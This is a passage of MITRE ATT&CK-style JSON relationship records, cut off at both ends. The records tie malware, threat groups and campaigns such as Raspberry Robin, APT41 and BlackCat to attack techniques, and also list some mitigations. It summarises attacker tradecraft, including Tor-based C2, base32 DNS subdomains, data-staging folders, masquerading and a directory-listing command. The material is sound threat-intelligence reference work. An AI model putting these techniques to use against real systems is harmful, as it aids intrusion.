2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:09:57.800Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) uses regsvr32.exe execution without any command line parameters for command and control requests to IP addresses associated with [Tor](https://attack.mitre.org/software/S0183) nodes.(Citation: RedCanary RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4db1e255-d845-459c-8553-39f1a278758f","type":"relationship","created":"2021-10-08T14:20:51.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T14:20:51.425Z","description":"[IndigoZebra](https://attack.mitre.org/groups/G0136) has established domains, some of which were designed to look like official government domains, for their operations.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4dbb52bd-9ecf-4c61-91b2-9787860f737c","created":"2020-03-13T20:36:57.502Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TechNet Credential Theft","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn535501.aspx"},{"source_name":"TechNet Least Privilege","description":"Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487450.aspx"},{"source_name":"Microsoft Azure security baseline for Azure Active Directory","description":"Microsoft. (2022, November 14). Azure security baseline for Azure Active Directory. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/security/benchmark/azure/baselines/aad-security-baseline"},{"source_name":"Microsoft Security Alerts for Azure AD Roles","description":"Microsoft. (2022, November 14). Configure security alerts for Azure AD roles in Privileged Identity Management. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/security/benchmark/azure/baselines/aad-security-baseline"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-21T20:06:01.092Z","description":"Review privileged cloud account permission levels routinely to look for those that could allow an adversary to gain wide access, such as Global Administrator and Privileged Role Administrator in Azure AD.(Citation: TechNet Credential Theft)(Citation: TechNet Least Privilege)(Citation: Microsoft Azure security baseline for Azure Active Directory) These reviews should also check if new privileged cloud accounts have been created that were not authorized. For example, in Azure AD environments configure alerts to notify when accounts have gone many days without using privileged roles, as these roles may be able to be removed.(Citation: Microsoft Security Alerts for Azure AD Roles) Consider using temporary, just-in-time (JIT) privileged access to Azure AD resources rather than permanently assigning privileged roles.(Citation: Microsoft Azure security baseline for Azure Active Directory)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4dbf47c1-c065-4e4c-8894-376d636555a2","type":"relationship","created":"2020-12-29T16:20:28.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T16:20:28.511Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed files to gain valid credentials.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4dcb70d9-017b-44b8-a13c-fab275c5bc56","created":"2022-09-29T19:55:30.683Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T19:55:30.683Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), PowerView's file share enumeration results were stored in the file `c:\\ProgramData\\found_shares.txt`.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4dcca852-a483-4cd2-9fc5-3fa227a12f74","created":"2024-08-14T13:28:22.331Z","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T13:28:22.331Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) has been digitally signed with a certificate issued to the Kuwait Telecommunications Company KSC.(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4dd44f72-a08e-4dac-9875-98690508ed08","type":"relationship","created":"2022-03-09T18:35:37.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2022-03-09T18:35:37.047Z","description":"[Diavol](https://attack.mitre.org/software/S0659) can spread throughout a network via SMB prior to encryption.(Citation: Fortinet Diavol July 2021)","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4dd8150f-e20d-4ed0-a12e-c94641d1ba64","type":"relationship","created":"2020-03-17T01:37:29.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-17T01:37:29.722Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can send email over SMTP.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4de2ac9b-4e51-4d73-8fe3-d7d1659778b8","type":"relationship","created":"2017-05-31T21:33:27.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-17T02:38:48.575Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers a list of running processes.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4de4a09b-5727-4462-b288-23278e74634e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN10 June 2017","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"}],"modified":"2019-04-25T12:09:56.256Z","description":"[FIN10](https://attack.mitre.org/groups/G0051) has executed malicious .bat files containing PowerShell commands.(Citation: FireEye FIN10 June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4de4cf78-542c-4f7a-a83b-f876a59e2553","type":"relationship","created":"2020-08-11T21:15:35.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-09-02T21:40:20.835Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can communicate with the C2 via base32-encoded subdomains.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4dea60e2-5339-4aed-b9a8-5ebf6af2f431","created":"2022-09-07T13:52:56.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:44:02.340Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used PowerShell to run a series of Base64-encoded commands that acted as a stager and enumerated hosts.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4dec5e5f-9136-4ebe-9888-b2d55c0f9f9c","created":"2024-03-13T20:04:21.059Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T20:04:21.059Z","description":"(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"malware--19256855-65e9-48f2-8b74-9f3d0a994428","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4deeafce-daf7-4dc8-a949-80eaf086ca0e","created":"2023-09-26T18:34:00.651Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T18:34:00.651Z","description":"[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has used plugins to take screenshots on targeted systems.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4df03f98-3c25-4772-8be5-cc1aaeff1cc9","created":"2024-02-09T21:23:57.948Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:19:49.396Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has staged data on compromised systems prior to exfiltration often in `C:\\Users\\Public`.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4df0f8e9-5956-4ccf-b603-00c32afee0d0","type":"relationship","created":"2019-04-17T19:18:00.483Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2020-03-16T17:38:57.588Z","description":"[Remexi](https://attack.mitre.org/software/S0375) gathers and exfiltrates keystrokes from the machine.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4df90c69-8ac5-4f22-b0cf-dd4debb8e051","type":"relationship","created":"2019-06-13T16:43:14.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T13:22:16.794Z","description":"Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means.","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4dfb55e5-c8cc-4ace-b8e9-8f33bb4c72c3","created":"2024-09-16T09:07:31.877Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:07:31.878Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) was used during [APT41 DUST](https://attack.mitre.org/campaigns/C0040).(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4dfbd868-5ab0-47c9-822e-a20db55dced5","created":"2024-05-17T13:40:42.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:16:38.155Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) determines whether it is successfully running on a victim system by querying the running account information to determine if it is running in Session 0, indicating running with elevated privileges.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e0775fd-17b6-44cd-9598-98f1a185b32b","created":"2023-03-02T18:58:34.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T21:10:33.218Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can utilize `net use` commands to identify domain users.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e07996d-c9d9-49a8-9800-94daf69cd3b3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.997Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of files and directories in C:\\ with the command dir /s /a c:\\ >> \"C:\\windows\\TEMP\\[RANDOM].tmp\".(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4e109125-e22b-4aaf-ac3c-9a0f5351b440","created":"2022-08-09T18:42:42.253Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PingPull](https://attack.mitre.org/software/S1031) can retrieve the hostname of a compromised host.(Citation: Unit 42 PingPull Jun 2022)","modified":"2022-08-09T18:42:42.253Z","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e167937-d152-4c57-a7b7-e3b407470720","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/bb490717.aspx","description":"Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.","source_name":"Technet Net Use"}],"modified":"2019-04-24T23:39:01.577Z","description":"The net use \\\\system\\share /delete command can be used in [Net](https://attack.mitre.org/software/S0039) to remove an established connection to a network share.(Citation: Technet Net Use)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e18e63e-acb5-48fc-8935-eb4416929745","type":"relationship","created":"2021-09-24T20:07:18.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:21.092Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) can send the data it collects to the C2 server.(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e18fbf9-4e26-4425-bb09-f18406284368","created":"2024-03-28T15:45:03.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:14:09.436Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) renamed files to look like legitimate files, such as Windows update files or Schneider Electric application files.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e1a2f47-7aad-4402-884d-8921a6a88822","type":"relationship","created":"2019-07-19T16:49:44.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:29.380Z","description":"(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e1b6f6e-6741-45e7-856b-1efdb2f50ba3","created":"2024-03-07T19:40:55.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Electron Security 3","description":"CertiK. (2020, June 30). Vulnerability in Electron-based Application: Unintentionally Giving Malicious Code Room to Run. Retrieved March 7, 2024.","url":"https://medium.com/certik/vulnerability-in-electron-based-application-unintentionally-giving-malicious-code-room-to-run-e2e1447d01b8"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-15T23:04:00.591Z","description":"Where possible, enforce binary and application integrity with digital signature verification to prevent untrusted code from executing. For example, do not use `shell.openExternal` with untrusted content.\n\nWhere possible, set `nodeIntegration` to false, which disables 